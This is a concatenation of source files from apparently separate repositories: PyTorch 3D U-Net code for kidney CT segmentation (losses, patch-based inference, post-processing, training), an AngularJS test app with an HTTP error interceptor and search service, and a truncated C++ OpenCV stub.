num_steps = np.ceil(
[(coord_end[i] - coord_start[i]) / (patch_size[i] / step) for i in range(3)])
step_size = np.array(
[(coord_end[i] - coord_start[i]) / (num_steps[i] + 1e-8) for i in range(3)])
step_size[step_size == 0] = 9999999
xsteps = np.round(np.arange(
coord_start[0], coord_end[0] + 1e-8, step_size[0])).astype(int)
ysteps = np.round(np.arange(
coord_start[1], coord_end[1] + 1e-8, step_size[1])).astype(int)
zsteps = np.round(np.arange(
coord_start[2], coord_end[2] + 1e-8, step_size[2])).astype(int)
result = torch.zeros([out_channels] + list(pad_shape)).to(device)
result_n = torch.zeros([out_channels] + list(pad_shape)).to(device)
n_add = torch.ones([out_channels] + list(patch_size)).to(device)
print('┌X step: %d\n├Y step: %d\n└Z step: %d' % (len(xsteps), len(ysteps), len(zsteps)))
# W H D C => C W H D => N C W H D for model input
input = to_tensor(input)[None]
input = torch.from_numpy(input).to(device)
self.eval()
with torch.no_grad():
for x in xsteps:
x_s = x - patch_size[0] // 2
x_e = x + patch_size[0] // 2
for y in ysteps:
y_s = y - patch_size[1] // 2
y_e = y + patch_size[1] // 2
for z in zsteps:
z_s = z - patch_size[2] // 2
z_e = z + patch_size[2] // 2
print('Predict on patch-%d-%d-%d' % (x, y, z))
output = self.forward(input[:, :, x_s:x_e, y_s:y_e, z_s:z_e])
if out_channels == 1:
output = torch.sigmoid(output)
else:
output = torch.softmax(output, dim=1)
# N C W H D => C W H D
result[:, x_s:x_e, y_s:y_e, z_s:z_e] += output[0]
result_n[:, x_s:x_e, y_s:y_e, z_s:z_e] += n_add
print('Merge all patchs')
result = result / result_n
if out_channels == 1:
result.squeeze_(dim=0)
result = np.round(result.cpu().numpy()).astype(np.uint8)
else:
result = torch.softmax(result, dim=0)
# C W H D => W H D one-hot to label
result = torch.argmax(result, axis=0).cpu().numpy().astype(np.uint8)
return crop_pad(result, orig_shape)
def prepare(self, image_file, props_file, save_dir=None):
props_file = Path(props_file)
props = json_load(str(props_file))
air = props['air']
spacing = props['resampled_spacing']
statstics = props['normalize_statstics']
print('Cropping image...')
image, _, meta = load_crop(image_file, None, air=air)
print('Resample image to target spacing...')
image, _, meta = resample_normalize(image,
None,
meta,
spacing=spacing,
statstics=statstics)
if save_dir:
save_dir = Path(save_dir)
if not save_dir.exists():
save_dir.mkdir(parents=True)
data_fname = '%s_data.npz' % meta['case_id']
np.savez(str(save_dir / data_fname), image=image)
meta_fname = '%s_meta.json' % meta['case_id']
json_save(str(save_dir / meta_fname), meta)
return {'image': image, 'meta': meta}
def rebuild_pred(self, pred, meta, save_dir=None):
affine = meta['affine']
cropped_shape = meta['cropped_shape']
original_shape = meta['shape']
orient = meta['orient']
# pad_width for np.pad
pad_width = meta['nonair_bbox']
for i in range(len(original_shape)):
pad_width[i][1] = original_shape[i] - (pad_width[i][1] + 1)
print('Resample pred to original spacing...')
pred = resize(pred, cropped_shape, is_label=True)
print('Add padding to pred...')
pred = np.pad(pred, pad_width, constant_values=0)
pred = nib.orientations.apply_orientation(pred, orient)
if save_dir:
save_dir = Path(save_dir)
if not save_dir.exists():
save_dir.mkdir(parents=True)
pred_nib = nib.Nifti1Pair(pred, np.array(affine))
nib_fname = '%s_pred.nii.gz' % meta['case_id']
nib.save(pred_nib, str(save_dir / nib_fname))
return {'pred': pred, 'meta': meta}
def generate_pred(self, out_channels, image_file, props_file, patch_size, save_dir=None):
sample = self.prepare(image_file=image_file,
props_file=props_file,
save_dir=save_dir)
pred = self.predict_3d(sample['image'], patch_size, out_channels)
sample_pred = self.rebuild_pred(pred, sample['meta'], save_dir=save_dir)
print('All Done!')
return sample_pred
def generate_paired_data(self,
out_channels,
image_file,
label_file,
save_dir,
props_file,
patch_size):
sample = self.generate_pred(out_channels=out_channels,
image_file=image_file,
props_file=props_file,
patch_size=patch_size,
save_dir=save_dir)
image = nib.load(image_file).get_fdata().astype(np.float32)
sample['image'] = np.expand_dims(image, axis=-1)
if label_file:
sample['label'] = nib.load(label_file).get_fdata().astype(np.uint8)
return sample
model = Unet3D(hparams=args)
# %%
# version = datetime.now().strftime("%y%m%d%H%H%M%S")
# logger = TensorBoardLogger('logs', name='Task00_Kidney_00', version=version)
# checkpoint = ModelCheckpoint('logs/Task00_Kidney_00/%s' % version)
# early_stop = EarlyStopping(patience=100, min_delta=1e-3)
# 'logs/Task00_Kidney_00/lightning_logs/version_0/checkpoints/epoch=7.ckpt'
# 'logs/Task00_Kidney_00/'
resume_ckpt = 'logs/Task00_Kidney_00/lightning_logs/version_14/checkpoints/epoch=81.ckpt'
save_path = 'logs/Task00_Kidney_00/'
trainer = Trainer(gpus=1,
amp_level='O2',
precision=16,
progress_bar_refresh_rate=1,
train_percent_check=1,
max_epochs=500,
min_epochs=100,
# logger=logger,
# checkpoint_callback=checkpoint,
# early_stop_callback=early_stop,
default_save_path=save_path,
resume_from_checkpoint=resume_ckpt)
trainer.fit(model)
# %%
resume_ckpt = 'logs/Task00_Kidney_00/lightning_logs/version_10/checkpoints/epoch=73.ckpt'
model = Unet3D.load_from_checkpoint(resume_ckpt).cuda()
# %%
sample = CaseDataset('data/Task00_Kidney/normalized')[7]
sample['pred'] = model.predict_3d(sample['image'], (160, 160, 80), 1)
# %%
image_file = '/mnt/main/dataset/Task00_Kidney/imagesTr/case_00008.nii.gz'
label_file = '/mnt/main/dataset/Task00_Kidney/labelsTr/case_00008.nii.gz'
save_dir = 'data/Task00_Kidney/test/'
props_file = 'data/Task00_Kidney/props.json'
sample = model.generate_paired_data(out_channels=1,
image_file=image_file,
label_file=label_file,
props_file=props_file,
patch_size=(160, 160, 80),
save_dir=save_dir)
# %%
sample_plt(sample, slice_pct=0.7, axi=0)
# %%
resume_ckpt = 'logs/Task00_Kidney_00/lightning_logs/version_16/checkpoints/epoch=0.ckpt'
resume_ckpt2 = 'logs/Task00_Kidney_00/lightning_logs/version_14/checkpoints/epoch=81.ckpt'
checkpoint = torch.load(resume_ckpt)
checkpoint2 = torch.load(resume_ckpt2)
# amp_dict = checkpoint['amp']
# checkpoint2['amp'] = amp_dict.copy()
# checkpoint2['amp']['loss_scaler0']['loss_scale'] = 1.0
print(checkpoint2['amp'])
# torch.save(checkpoint2, resume_ckpt2)
# %%
<file_sep>/loss.py
# %%
import torch
import torch.nn as nn
import torch.nn.functional as F
def logits(input):
'''
(N, C, d1, d2, ..., dn)
'''
return torch.softmax(input, dim=1) if input.size(1) > 1 else torch.sigmoid(input)
def flatten_and_tranpose_C(input, target):
'''
(N, C, d1, d2, ..., dn) => (N*d1*d2*...*dn, C)
'''
N = input.size(0)
C = input.size(1)
# N,C,d1,d2,...,dn => N,C,d1*d2*...*dn
input = input.view(N, C, -1)
# N,C,d1*d2*...*dn => N,d1*d2*...*dn,C
input = input.transpose(1, 2)
# N,d1*d2*...*dn,C => N*d1*d2*...*dn,C
input = input.contiguous().view(-1, C)
target = F.one_hot(target, num_classes=C)
target = target.contiguous().view(-1, C)
return input, target
def dice(input, target, alpha=0.5, beta=0.5, smooth=1e-7):
'''
:param input:
type float
shape (N, d1, d2,..., dn)
value 0<=v<=1
:param target:
type long
shape (N, d1, d2,..., dn)
value 0<=v<=1
'''
p = input.contiguous().view(-1)
g = target.contiguous().view(-1)
true_pos = (p * g).sum()
false_neg = ((1-p) * g).sum()
false_pos = (p * (1-g)).sum()
return (true_pos + smooth)/(true_pos + alpha*false_neg + beta*false_pos + smooth)
def focal_loss(input, target, gamma=2, weight_c=None, weight_v=None):
'''
:param input:
type float
shape (N*d1*d2*...*dn, C)
value 0<=v<=1
:param target:
type long
shape (N*d1*d2*...*dn, C)
value 0<=v<=1
'''
C = input.size(-1)
mask = target > 0
mask = mask.any(0).type(torch.float).to('cpu')
weight_c = torch.ones(C) if weight_c is None else torch.tensor(weight_c)
weight_v = torch.ones(C) if weight_v is None else torch.tensor(weight_v)
weight = weight_v * mask * weight_c
weight = F.normalize(weight_v.type(torch.float), p=1, dim=0)
if input.size(-1) > 1:
logpt = F.log_softmax(input, -1) # only work for float16
pt = logpt.exp()
else:
pt = F.sigmoid(input)
logpt = torch.log(pt)
focals = -(1-pt)**gamma * target * logpt
focals = C*focals.mean(dim=0).to('cpu')
focals = weight*focals
return focals.sum()
class Dice(nn.Module):
'''
input:
type float
shape (N, C, d1, d2, ..., dn)
value 0<=v<=1
target:
type long
shape (N, d1, d2, ..., dn)
value 0<=v<=C−1
'''
def __init__(self, weight_v=None, alpha=0.5, beta=0.5, smooth=1e-7):
super(Dice, self).__init__()
self.weight_v = weight_v
self.alpha = alpha
self.beta = beta
self.smooth = smooth
def forward(self, input, target):
C = input.size(1)
weight_v = torch.ones(C) if self.weight_v is None else torch.tensor(self.weight_v)
weight = F.normalize(weight_v.type(torch.float), p=1, dim=0)
input = logits(input)
input, target = flatten_and_tranpose_C(input, target)
dices = torch.zeros(C)
for i in range(C):
dices[i] = dice(input[:, i],
target[:, i],
alpha=self.alpha,
beta=self.beta,
smooth=self.smooth)
dices = weight*dices
return dices.sum()
class DiceLoss(nn.Module):
'''
input:
type float
shape (N, C, d1, d2, ..., dn)
value 0<=v<=1
target:
type long
shape (N, d1, d2, ..., dn)
value 0<=v<=C−1
'''
def __init__(self, weight_c=None, weight_v=None, alpha=0.5, beta=0.5, smooth=1e-7):
super(DiceLoss, self).__init__()
self.weight_c = weight_c
self.weight_v = weight_v
self.alpha = alpha
self.beta = beta
self.smooth = smooth
def forward(self, input, target):
C = input.size(1)
input = logits(input)
input, target = flatten_and_tranpose_C(input, target)
mask = target > 0
mask = mask.any(0).type(torch.float).to('cpu')
weight_c = torch.ones(C) if self.weight_c is None else torch.tensor(self.weight_c)
weight_v = torch.ones(C) if self.weight_v is None else torch.tensor(self.weight_v)
weight = weight_v*mask*weight_c
weight = F.normalize(weight_v.type(torch.float), p=1, dim=0)
dices = torch.zeros(C)
for i in range(C):
dices[i] = dice(input[:, i],
target[:, i],
alpha=self.alpha,
beta=self.beta,
smooth=self.smooth)
dices = weight*(1 - dices)
return dices.sum()
class FocalLoss(nn.Module):
'''
:param input:
type float
shape (N, C, d1, d2, ..., dn)
value 0<=v<=1
:param target:
type long
shape (N, d1, d2, ..., dn)
value 0<=v<=C−1
'''
def __init__(self, gamma=2, weight_c=None, weight_v=None):
super(FocalLoss, self).__init__()
self.gamma = gamma
self.weight_c = weight_c
self.weight_v = weight_v
def forward(self, input, target):
input, target = flatten_and_tranpose_C(input, target)
loss = focal_loss(input, target,
gamma=self.gamma,
weight_c=self.weight_c,
weight_v=self.weight_v)
return loss
class HybirdLoss(nn.Module):
'''
input:
type float
shape (N, C, d1, d2, ..., dn)
value 0<=v<=1
target:
type long
shape (N, d1, d2, ..., dn)
value 0<=v<=C−1
'''
def __init__(self, gamma=2, weight_c=None, weight_v=None,
alpha=0.5, beta=0.5, smooth=1e-7):
super(HybirdLoss, self).__init__()
self.weight_c = weight_c
self.weight_v = weight_v
self.alpha = alpha
self.beta = beta
self.smooth = smooth
self.gamma = gamma
def forward(self, input, target):
C = input.size(1)
input, target = flatten_and_tranpose_C(input, target)
# logit
if C > 1:
logpt = F.log_softmax(input, -1)
pt = logpt.exp()
else:
pt = F.sigmoid(input)
logpt = torch.log(pt)
mask = target > 0
mask = mask.any(0).type(torch.float).to('cpu')
weight_c = torch.ones(C) if self.weight_c is None else torch.tensor(self.weight_c)
weight_v = torch.ones(C) if self.weight_v is None else torch.tensor(self.weight_v)
weight = weight_c*weight_v*mask
weight = F.normalize(weight_v.type(torch.float), p=1, dim=0)
# focal loss
focals = -(1-pt)**self.gamma * target * logpt
focals = C*focals.mean(dim=0).to('cpu')
# dice loss
dices = torch.zeros(C)
for i in range(C):
dices[i] = dice(pt[:, i],
target[:, i],
alpha=self.alpha,
beta=self.beta,
smooth=self.smooth)
# combined loss
loss = weight*(1-dices + focals)
return loss.sum()
# %%
# p = torch.rand(2, 3, 10, 10, 10)
# g = torch.randint(0, 1, (2, 10, 10, 10))
# l0 = DiceLoss(weight_c=[1, 2, 3], weight_v=[10, 200, 200])
# l1 = FocalLoss(weight_c=[1, 2, 3], weight_v=[10, 200, 200])
# l2 = HybirdLoss(weight_c=[1, 2, 3], weight_v=[10, 200, 200])
# print(l0(p, g))
# print(l1(p, g))
# print(l2(p, g))
# class FocalDiceCoefLoss(nn.Module):
# '''
# input:
# type float
# shape (N, C, d1, d2, ..., dn)
# value 0<=v<=1
# target:
# type long
# shape (N, d1, d2, ..., dn)
# value 0<=v<=C−1
# '''
# def __init__(self, alpha=None, f_alpha=None, f_gamma=2, f_reduction='mean',
# d_w=None, d_alpha=0.5, d_smooth=1e-7, d_with_logits=True):
# super(FocalDiceCoefLoss, self).__init__()
# self.alpha = alpha
# self.focal = FocalLoss(gamma=f_gamma, alpha=f_alpha, reduction=f_reduction)
# self.dice = DiceCoefLoss(w=d_w, alpha=d_alpha,
# smooth=d_smooth, with_logits=d_with_logits)
# def forward(self, input, target):
# if self.alpha is None:
# self.alpha = [0.5, 0.5]
# return self.alpha[0] * self.focal(input, target) + self.alpha[1] * self.dice(input, target)
# class FocalLoss2(nn.Module):
# '''
# :param input:
# type float
# shape (N, C, d1, d2, ..., dn)
# value 0<=v<=1
# :param target:
# type long
# shape (N, d1, d2, ..., dn)
# value 0<=v<=C−1
# '''
# def __init__(self, gamma=2, reduction='mean'):
# super(FocalLoss2, self).__init__()
# self.gamma = gamma
# self.reduction = reduction
# def forward(self, input, target):
# C = input.size(1)
# if C > 1:
# # pytorch build-in CE is with logits by default,
# # so we don't need to worry about.
# logpt = -F.cross_entropy(input, target, reduction='none')
# else:
# # squeeze C to fit pytorch build-in BCE
# input = torch.squeeze(input, 1)
# target = target.type_as(input)
# logpt = -F.binary_cross_entropy_with_logits(input, target, reduction='none')
# pt = logpt.exp()
# loss = -1 * (1-pt)**self.gamma * logpt
# if self.reduction == 'mean':
# return loss.mean()
# elif self.reduction == 'sum':
# return loss.sum()
# else:
# return loss
# %%
<file_sep>/nb_post.py
# %%
import shutil
from tqdm import tqdm
import nibabel as nib
from pathlib import Path
from visualize import case_plt
from trainer import cascade_predict_case, cascade_predict, evaluate_case, \
batch_evaluate, batch_cascade_predict
from data import CaseDataset, save_pred
from network import ResUnet3D
import torch
import numpy as np
import matplotlib.pyplot as plt
import scipy.ndimage as ndi
from transform import remove_small_region
# %%
ckpt1 = torch.load('logs/Task00_Kidney/kd-2004070628-epoch=54.pt')
ckpt2 = torch.load('logs/Task00_Kidney/ca-2004080007-epoch=312.pt')
coarse_model = ResUnet3D(out_channels=1).cuda()
detail_model = ResUnet3D(out_channels=3).cuda()
coarse_model.load_state_dict(ckpt1['model_state_dict'])
detail_model.load_state_dict(ckpt2['model_state_dict'])
normalize_stats = {
"mean": 100.23331451416016,
"std": 76.66192626953125,
"pct_00_5": -79.0,
"pct_99_5": 303.0
}
cases = CaseDataset('data/Task00_Kidney/crop')
# %%
case = cascade_predict_case(cases[82],
coarse_model=coarse_model,
coarse_target_spacing=(2.4, 2.4, 3),
coarse_normalize_stats=normalize_stats,
coarse_patch_size=(144, 144, 96),
detail_model=detail_model,
detail_target_spacing=(0.78125, 0.78125, 1),
detail_normalize_stats=normalize_stats,
detail_patch_size=(96, 96, 144))
# %%
image_file = '/mnt/main/dataset/Task00_Kidney/imagesTs/case_00210.nii.gz'
label_file = None
# image_file = '/mnt/main/dataset/Task00_Kidney/imagesTr/case_00005.nii.gz'
# label_file = '/mnt/main/dataset/Task00_Kidney/labelsTr/case_00005.nii.gz'
case = cascade_predict(image_file=image_file,
label_file=label_file,
coarse_model=coarse_model,
coarse_target_spacing=(2.4, 2.4, 3),
coarse_normalize_stats=normalize_stats,
coarse_patch_size=(144, 144, 96),
detail_model=detail_model,
detail_target_spacing=(0.78125, 0.78125, 1),
detail_normalize_stats=normalize_stats,
detail_patch_size=(128, 128, 128))
# %%
evaluate_case(case)
# %%
case_plt(case, slice_pct=0.3, axi=0)
# %%
save_pred(case, './')
# %%
image_dir = '/mnt/main/dataset/Task00_Kidney/imagesTr'
test_dir = '/mnt/main/dataset/Task00_Kidney/imagesTs'
label_dir = '/mnt/main/dataset/Task00_Kidney/labelsTr'
pred_dir = '/mnt/main/dataset/Task00_Kidney/aaa'
batch_cascade_predict(test_dir,
pred_dir,
coarse_model=coarse_model,
coarse_target_spacing=(2.4, 2.4, 3),
coarse_normalize_stats=normalize_stats,
coarse_patch_size=(144, 144, 96),
detail_model=detail_model,
detail_target_spacing=(0.78125, 0.78125, 1),
detail_normalize_stats=normalize_stats,
detail_patch_size=(128, 128, 128),
data_range=None)
# %%
def create_sphere(shape, center, r):
coords = np.ogrid[:shape[0], :shape[1], :shape[2]]
distance = np.sqrt((coords[0] - center[0])**2 + (coords[1]-center[1])
** 2 + (coords[2]-center[2])**2)
return 1*(distance <= r)
def post_transform(input, r=2):
output = np.zeros_like(input)
structure = create_sphere((7, 7, 7), (3, 3, 3), 4)
mask = input > 0
mask = remove_small_region(mask, 10000)
# mask = ndi.binary_closing(mask)
# mask = ndi.binary_opening(mask)
output[mask] = 1
kd = input == 2
kd = ndi.binary_closing(kd, structure)
kd = ndi.binary_opening(kd)
output[kd] = 2
return output
def batch_post_transform(load_dir, save_dir, data_range=None):
load_dir = Path(load_dir)
save_dir = Path(save_dir)
if not save_dir.exists():
save_dir.mkdir(parents=True)
pred_files = sorted(list(load_dir.glob('*.nii.gz')))
if data_range is None:
data_range = range(len(pred_files))
for i in tqdm(data_range):
pred_nib = nib.load(str(pred_files[i]))
pred_arr = pred_nib.get_fdata().astype(np.uint8)
affine = pred_nib.affine
case_id = str(pred_files[i]).split('/')[-1].split('.')[0]
pred_arr = post_transform(pred_arr)
pred_fname = '%s.pred.nii.gz' % case_id
pred_nib = nib.Nifti1Pair(pred_arr, affine)
nib.save(pred_nib, str(save_dir / pred_fname))
# %%
casev = case.copy()
casev['pred'] = post_transform(casev['pred'])
# %%
pred_dir = '/mnt/main/dataset/Task00_Kidney/bbb'
pred_dir2 = '/mnt/main/dataset/Task00_Kidney/bbb2'
batch_post_transform(pred_dir, pred_dir2)
# %%
label_dir = '/mnt/main/dataset/Task00_Kidney/labelsTr'
pred_dir = '/mnt/main/dataset/Task00_Kidney/predictionsTr2'
batch_evaluate(label_dir, pred_dir, data_range=range(90))
# %%
print(ckpt2['current_epoch'])
# %%
load_dir = Path('/mnt/main/dataset/Task20_Kidney/kidney_labelsTr')
save_dir = Path('/mnt/main/dataset/Task20_Kidney/kidney_labelsTr_')
if not save_dir.exists():
save_dir.mkdir(parents=True)
pred_files = sorted(list(load_dir.glob('*.nii.gz')))
for i in tqdm(range(len(pred_files))):
pred_nib = nib.load(str(pred_files[i]))
pred_arr = pred_nib.get_fdata().astype(np.uint8)
output = np.zeros_like(pred_arr)
mask = pred_arr > 0
cacy = pred_arr > 1
ca = pred_arr == 2
mask = ndi.binary_erosion(mask)
cacy = ndi.binary_erosion(cacy)
ca = ndi.binary_erosion(ca)
output[mask] = 1
output[cacy] = 3
output[ca] = 2
affine = pred_nib.affine
f_name = str(pred_files[i]).split('/')[-1]
pred_nib = nib.Nifti1Pair(output, affine)
nib.save(pred_nib, str(save_dir / f_name))
# %%
load_dir = Path('/mnt/main/ok')
image_dir = Path('/mnt/main/dataset/Task20_Kidney/imagesTr')
kidney_labels_dir = Path('/mnt/main/dataset/Task20_Kidney/labelsTr_kidney')
vessel_labels_dir = Path('/mnt/main/dataset/Task20_Kidney/labelsTr_vessel')
image_dir.mkdir(parents=True)
kidney_labels_dir.mkdir(parents=True)
vessel_labels_dir.mkdir(parents=True)
case_dirs = [path for path in sorted(load_dir.iterdir()) if path.is_dir()]
for i, case_dir in tqdm(enumerate(case_dirs)):
case_id = "case_%03d.nii.gz" % i
shutil.copy(str(case_dir / 'image.nii.gz'), str(image_dir / case_id))
shutil.copy(str(case_dir / 'kidney_label.nii.gz'), str(kidney_labels_dir / case_id))
shutil.copy(str(case_dir / 'vessel_label.nii.gz'), str(vessel_labels_dir / case_id))
# %%
# %%
load_dir = Path('/mnt/main/dataset/Task20_Kidney/predictsTr_09_vessel')
save_dir = Path('/mnt/main/dataset/Task20_Kidney/predictsTr_09_vessel_')
if not save_dir.exists():
save_dir.mkdir(parents=True)
pred_files = sorted(list(load_dir.glob('*.nii.gz')))
for i in tqdm(range(len(pred_files))):
pred_nib = nib.load(str(pred_files[i]))
pred_arr = pred_nib.get_fdata().astype(np.uint8)
output = np.zeros_like(pred_arr)
mask = pred_arr > 0
ar = pred_arr == 1
ve = pred_arr == 2
ar = ndi.binary_erosion(ar)
ve = ndi.binary_erosion(ve)
output[ar] = 1
output[ve] = 2
affine = pred_nib.affine
f_name = str(pred_files[i]).split('/')[-1]
pred_nib = nib.Nifti1Pair(output, affine)
nib.save(pred_nib, str(save_dir / f_name))
# %%
pred_files = Path('/mnt/main/dataset/Task20_Kidney/predictsTr_05_vessel/case_015.pred.nii.gz')
save_dir = Path('/mnt/main/dataset/Task20_Kidney/predictsTr_05_vessel_')
pred_nib = nib.load(str(pred_files))
pred_arr = pred_nib.get_fdata().astype(np.uint8)
output = np.zeros_like(pred_arr)
el = ndi.generate_binary_structure(3, 2)
ar = pred_arr == 1
ve = pred_arr == 2
ar = ndi.binary_erosion(ar)
# ar = ndi.binary_opening(ar)
ar = ndi.binary_dilation(ar)
# ar = ndi.binary_closing(ar)
ve = ndi.binary_erosion(ve)
# ve = ndi.binary_opening(ve)
ve = ndi.binary_dilation(ve)
# ve = ndi.binary_closing(ve)
output[ar] = 1
output[ve] = 2
affine = pred_nib.affine
f_name = str(pred_files).split('/')[-1]
pred_nib = nib.Nifti1Pair(output, affine)
nib.save(pred_nib, str(save_dir / f_name))
# %%
<file_sep>/run_train.py
# %%
from losses import DiceCoef, FocalDiceCoefLoss
from data_proccess import CaseDataset
from train import Trainer
from network import generate_paired_features, Unet, ResBlock, ResBlockStack
from batchgenerators.transforms.spatial_transforms \
import SpatialTransform_2, MirrorTransform
from batchgenerators.transforms.color_transforms \
import BrightnessMultiplicativeTransform, \
GammaTransform, ContrastAugmentationTransform
from batchgenerators.transforms.crop_and_pad_transforms \
import RandomCropTransform
from batchgenerators.transforms import Compose
import torch.optim as optim
import numpy as np
from datetime import datetime
case_set = CaseDataset('./data/Task00_Kidney/preproccess_data')
print(len(case_set))
num_pool = 4
num_features = 30
def encode_kwargs_fn(level):
num_stacks = max(level, 1)
return {'num_stacks': num_stacks}
paired_features = generate_paired_features(num_pool, num_features)
model = Unet(in_channels=1,
out_channels=3,
paired_features=paired_features,
pool_block=ResBlock,
pool_kwargs={'stride': 2},
up_kwargs={'attention': True},
encode_block=ResBlockStack,
encode_kwargs_fn=encode_kwargs_fn,
decode_block=ResBlock).cuda()
patch_size = (160, 160, 80)
optimizer = optim.Adam(model.parameters(), lr=1e-4)
scheduler = optim.lr_scheduler.ReduceLROnPlateau(
optimizer, factor=0.2, patience=30)
tr_transform = Compose([
GammaTransform((0.9, 1.1)),
ContrastAugmentationTransform((0.9, 1.1)),
BrightnessMultiplicativeTransform((0.9, 1.1)),
MirrorTransform(axes=[0]),
SpatialTransform_2(
patch_size, (90, 90, 50), random_crop=True,
do_elastic_deform=True, deformation_scale=(0, 0.05),
do_rotation=True,
angle_x=(-0.1 * np.pi, 0.1 * np.pi),
angle_y=(0, 0), angle_z=(0, 0),
do_scale=True, scale=(0.9, 1.1),
border_mode_data='constant',
),
RandomCropTransform(crop_size=patch_size),
])
vd_transform = Compose([
RandomCropTransform(crop_size=patch_size),
])
trainer = Trainer(
model=model,
optimizer=optimizer,
criterion=FocalDiceCoefLoss(d_weight=[1, 10, 20]),
metrics={'Kd Dsc': DiceCoef(weight=[0, 1, 0]), 'Ca Dsc': DiceCoef(weight=[0, 0, 1])},
scheduler=scheduler,
tr_transform=tr_transform,
vd_transform=vd_transform,
)
trainer.save('init.pt')
log_dir = "logs/Task00_Kidney/att-res-{}".format(datetime.now().strftime("%H%M%S"))
trainer.load('logs/Task00_Kidney/att-res-065552-last.pt')
trainer.fit(
case_set,
batch_size=1,
epochs=500,
# valid_split=0.2,
num_samples=250,
log_dir=log_dir,
save_dir=log_dir,
save_last=True,
save_best=True,
num_workers=2,
pin_memory=True
)
| 0369374279fb5b2eaf2b87aebbacd9da0bdd5861 | [
"Markdown",
"Python"
] | 22 | Python | icrdr/3D-UNet-Renal-Anatomy-Extraction | 50b16151730ec7868b3d3482e4db31e4c1e25412 | 56f93cfddb9fa42e8acfc75c4ad0ce131812138f |
refs/heads/master | <repo_name>pluess/woodstore<file_sep>/README.md
# woodstore
Test project for new technologies
<file_sep>/src/index.js
import 'expose?$!expose?jQuery!jquery';
import 'bootstrap-webpack';
import './mainWindow';
<file_sep>/src/components/search/searchService.js
import SearchResult from './searchResult';
class SearchService {
/*@ngInject*/
constructor($log) {
this._log = $log;
this._activeResult = null;
this._searchResults = [
new SearchResult('A', 47.2090507,7.7752166),
new SearchResult('B', 47.2091,7.7753),
new SearchResult('C', 47.2092,7.7754),
new SearchResult('E', 47.2093,7.7755),
new SearchResult('F', 47.2094,7.7756)
];
}
getSearchResults() {
return this._searchResults;
}
set activeResult(result) {
this._activeResult = result;
this._log.debug('Active result is now: '+JSON.stringify(result));
}
get activeResult() { return this._activeResult; }
}
export default SearchService;<file_sep>/src/components/httpErrorInterceptor/httpErrorInterceptorPanel.js
class HttpErrorInterceptorPanelController {
/*@ngInject*/
constructor($log, $http) {
this._log = $log;
this._http = $http;
}
issueGetRequest() {
this._log.debug('HttpErrorInterceptorPanelController.issueGetRequest');
this._http.get('http://localhost:3000')
.then(() => {
this._log.debug("success");
},
() => {
this._log.debug("failed");
});
}
}
let httpErrorInterceptorPanelComponent = {
template: '<button class="btn btn-default" ng-click="$ctrl.issueGetRequest()">Get Request</button>',
controller: HttpErrorInterceptorPanelController
}
export default httpErrorInterceptorPanelComponent;<file_sep>/src/components/httpErrorInterceptor/httpErrorInterceptor.js
let that = null;
class HttpErrorInterceptor {
constructor($log, $q, httpErrorService) {
this._log = $log;
this._q = $q;
this._httpErrorService = httpErrorService;
that = this;
this._log.debug('Interceptor created');
}
response(response) {
that._log.debug('HttpErrorInterceptor.response');
that._log.debug(response);
return response;
}
responseError(rejection) {
that._log.debug('HttpErrorInterceptor.responseError');
that._log.debug(rejection);
that._httpErrorService.httpStatusCode = rejection.status;
return that._q.reject(rejection);
}
/*@ngInject*/
static factory($log, $q, httpErrorService) {
return new HttpErrorInterceptor($log, $q, httpErrorService);
}
}
export default HttpErrorInterceptor;<file_sep>/src/mainWindow.js
import angular from 'angular';
import 'angular-ui-bootstrap';
import 'angular-confirm';
import confirmDialogComponent from './components/confirm/confirmDialog';
import HttpErrorInterceptor from './components/httpErrorInterceptor/httpErrorInterceptor';
import httpErrorInterceptorPanelComponent from './components/httpErrorInterceptor/httpErrorInterceptorPanel';
import htmlTemplate from './mainWindow.html';
import './mainWindow.css';
import MapDirective from './components/map/map';
import SearchService from './components/search/searchService';
import HttpErrorService from './components/httpErrorInterceptor/httpErrorService';
import HttpErrorHandlerDirective from './components/httpErrorInterceptor/httpErrorHandlerDirective';
const moduleName = 'woodstore';
class MainWindowController {
/*@ngInject*/
constructor($log, $confirm, searchService) {
this._log = $log;
this._confirm = $confirm;
this._searchService = searchService;
this._log.debug("MainWindowController.constructor");
}
getSearchService() { return this._searchService }
markActiveResult(result) {
this._searchService.activeResult = result;
}
}
let mainWindowComoponent = {
controller: MainWindowController,
template: htmlTemplate
}
angular.module(moduleName, ['ui.bootstrap', 'angular-confirm'])
.component('confirmDialog', confirmDialogComponent)
.component('httpErrorInterceptorPanel', httpErrorInterceptorPanelComponent)
.component('mainWindow', mainWindowComoponent)
.config(['$httpProvider', function($httpProvider) {
$httpProvider.interceptors.push('httpErrorInterceptor');
}])
.factory('httpErrorInterceptor', HttpErrorInterceptor.factory)
.directive('map', MapDirective.directiveFactory)
.directive('httpErrorHandler', HttpErrorHandlerDirective.directiveFactory)
.service('httpErrorService', HttpErrorService)
.service('searchService', SearchService);<file_sep>/src/components/httpErrorInterceptor/httpErrorHandlerDirective.js
import okDialogTemplate from './../../okDialogTemplate.html';
class HttpErrorHandlerDirective {
constructor($log) {
this._log = $log;
this.restrict = 'A';
this.controllerAs = '$errorHandlerCtrl';
this.bindToController = true;
this.controller = HttpErrorHandlerController;
}
/*@ngInject*/
static directiveFactory($log) {
return new HttpErrorHandlerDirective($log);
}
}
class HttpErrorHandlerController {
/*@ngInject*/
constructor($log, $scope, $confirm, httpErrorService) {
this._log = $log;
this._scope = $scope;
this._httpErrorServie = httpErrorService;
this._confirm = $confirm;
}
$onInit() {
this._scope.$watch(
() => this._httpErrorServie.httpStatusCode,
() => {
if (this._httpErrorServie.httpStatusCode===-1 || this._httpErrorServie.httpStatusCode>299) {
this._confirm(
{text: 'Error with server communication! Code='+this._httpErrorServie.httpStatusCode},
{template: okDialogTemplate }
)
}
}
)
}
}
export default HttpErrorHandlerDirective; | 149d33dd712f982af8643afc3719c5668234b7b4 | [
"Markdown",
"JavaScript"
] | 7 | Markdown | pluess/woodstore | d26e9ea8f40a1c71889c37cd04234c3436d61696 | 8384c52f13d832090081bb14a296266fe3a7e76d |
refs/heads/master | <repo_name>murillocjr/android-meetup-opencv-cpp-netbeans<file_sep>/README.md
Proyecto NetBeans para probar funcionalidad OpenCV antes de desplegarla en Android.
<file_sep>/main.cpp
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/*
* File: main.cpp
* Author: netmaster
*
* Created on April 22, 2018, 8:44 AM
*/
#include <cstdlib>
#include <iostream>
#include <opencv2/opencv.hpp>
#include "AreaCalculator.h"
/*
*
*/
int main(int argc, char** argv) {
cout << "Hi"<<endl;
